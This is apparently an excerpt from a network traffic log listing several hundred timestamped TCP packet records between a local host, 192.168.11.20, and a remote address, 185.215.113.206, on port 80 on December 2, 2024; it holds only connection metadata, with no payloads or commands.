Dec 2, 2024 11:20:44.495522022 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.495644093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.495644093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.495680094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.495707035 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.495837927 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.495837927 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496005058 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.496017933 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.496162891 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496164083 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496221066 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.496275902 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.496335983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.496377945 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496428967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496476889 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496495962 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.496604919 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.496690035 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496716022 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.496743917 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496848106 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.496874094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497018099 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.497129917 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497139931 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497150898 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497255087 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497327089 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.497345924 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497407913 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.497535944 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.497587919 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497642040 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497653008 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497710943 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497745991 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.497745991 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.497843027 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.497862101 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.497893095 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.497973919 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498018026 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498119116 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498136044 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498146057 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498239994 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498291969 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498291969 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498342037 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498392105 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498399019 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498486042 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498505116 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498538017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498615026 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498642921 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498755932 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498763084 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498872042 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.498954058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.498986959 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499017000 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499128103 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499130964 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499146938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499248981 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499253988 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499253988 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499366045 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499396086 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499505997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499516964 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499564886 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499593973 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499640942 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499640942 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499743938 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499758005 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499864101 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499871969 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.499902010 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499990940 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.499990940 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500003099 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500116110 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500133991 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500230074 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500238895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500267029 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500363111 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500381947 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500381947 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500488997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500581980 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500590086 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500641108 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500721931 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500750065 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500758886 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500859976 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500875950 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500875950 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.500976086 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.500984907 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501004934 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501189947 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501210928 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501264095 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501332045 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501343012 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501399040 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501498938 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501509905 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501616001 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501657963 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501753092 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501815081 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501836061 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501885891 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.501893997 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501982927 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.501997948 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502033949 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502106905 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502151966 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502239943 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502254009 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502262115 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502361059 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502455950 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502460957 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502512932 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502593994 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502619982 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502629042 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502726078 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502733946 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502775908 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502880096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502880096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.502980947 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.502990007 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.503082037 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.503113985 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.503113985 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.503257036 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.577250004 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.577477932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.577553988 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.577644110 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.577688932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.577864885 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.577954054 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.578138113 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.578159094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.578181982 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.578402996 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.578473091 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.578497887 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.578517914 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.578661919 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.578708887 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.578948021 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.810271978 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.810331106 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.810379028 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.810446024 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.810616970 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.810626984 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.810626984 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.810695887 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.810765982 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.810776949 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.810877085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.810883045 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.810939074 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811018944 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811065912 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811106920 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811152935 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811238050 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811286926 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811352968 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811398983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811508894 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811508894 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811604977 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811651945 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811695099 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811745882 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811855078 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811903954 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.811909914 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811996937 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.811997890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.812098026 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.812143087 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.812395096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.816679001 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.816840887 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.817302942 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.817485094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.817531109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.817624092 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.817744970 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.817792892 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.817800045 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.817800045 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.817909002 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.817909002 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.818038940 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818084002 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818203926 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.818205118 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.818317890 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818363905 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818511963 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818553925 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.818578005 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818630934 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.818696976 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818744898 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818809986 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.818849087 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.818902016 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.818924904 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.818974972 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819061995 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.819061995 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.819158077 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819204092 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819299936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.819300890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.819377899 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819444895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819514036 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.819616079 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819631100 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.819680929 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819874048 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819921017 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.819963932 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.820107937 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820132971 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.820132971 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.820183992 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820229053 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820316076 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820324898 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.820368052 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.820393085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820466042 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.820557117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.820622921 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820666075 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820708990 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820827961 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820879936 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.820900917 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.820941925 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821073055 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821082115 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821082115 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821156979 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821249962 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821299076 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821346045 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821402073 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821469069 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821512938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821556091 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821568966 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821568966 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821671009 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821677923 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821763039 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821815014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.821856022 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821907043 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.821957111 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822031975 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822096109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822140932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822202921 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822350979 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822374105 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822413921 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822423935 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822475910 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822520018 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822571993 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822627068 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822635889 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822686911 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822799921 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822837114 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822881937 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.822896957 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822993994 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.822993994 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.823055983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823101997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823146105 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823188066 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823195934 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.823318005 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823364019 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823379040 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.823379040 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.823561907 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.823609114 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.823682070 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823726892 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823770046 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823848963 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.823926926 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.823932886 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.823988914 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824075937 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.824131012 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824172020 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.824203968 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824249983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824350119 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.824377060 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824400902 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.824400902 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.824461937 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824532032 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.824594021 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824641943 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824652910 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.824704885 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824809074 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.824878931 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824924946 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.824990034 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.825110912 CET	80	49748	185.215.113.206	192.168.11.20
